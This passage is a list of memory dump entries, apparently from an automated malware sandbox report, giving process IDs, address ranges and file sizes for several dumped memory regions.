                                                • memory/1092-351-0x00007FF862360000-0x00007FF862418000-memory.dmp

                                                  Filesize

                                                  736KB

                                                • memory/1092-350-0x00007FF8625D0000-0x00007FF8625FE000-memory.dmp

                                                  Filesize

                                                  184KB

                                                • memory/1092-349-0x00007FF862EE0000-0x00007FF862EED000-memory.dmp

                                                  Filesize

                                                  52KB

                                                • memory/1092-348-0x00007FF863150000-0x00007FF863169000-memory.dmp

                                                  Filesize

                                                  100KB

                                                • memory/4848-207-0x000001773B6F0000-0x000001773B6F8000-memory.dmp

                                                  Filesize

                                                  32KB

                                                • memory/5040-85-0x00007FF8517E3000-0x00007FF8517E5000-memory.dmp

                                                  Filesize

                                                  8KB

                                                • memory/5040-95-0x00000229DC790000-0x00000229DC7B2000-memory.dmp

                                                  Filesize

                                                  136KB

                                                • memory/5040-96-0x00007FF8517E0000-0x00007FF8522A1000-memory.dmp

                                                  Filesize

                                                  10.8MB

                                                • memory/5040-97-0x00007FF8517E0000-0x00007FF8522A1000-memory.dmp

                                                  Filesize

                                                  10.8MB

                                                • memory/5040-176-0x00007FF8517E0000-0x00007FF8522A1000-memory.dmp

                                                  Filesize

                                                  10.8MB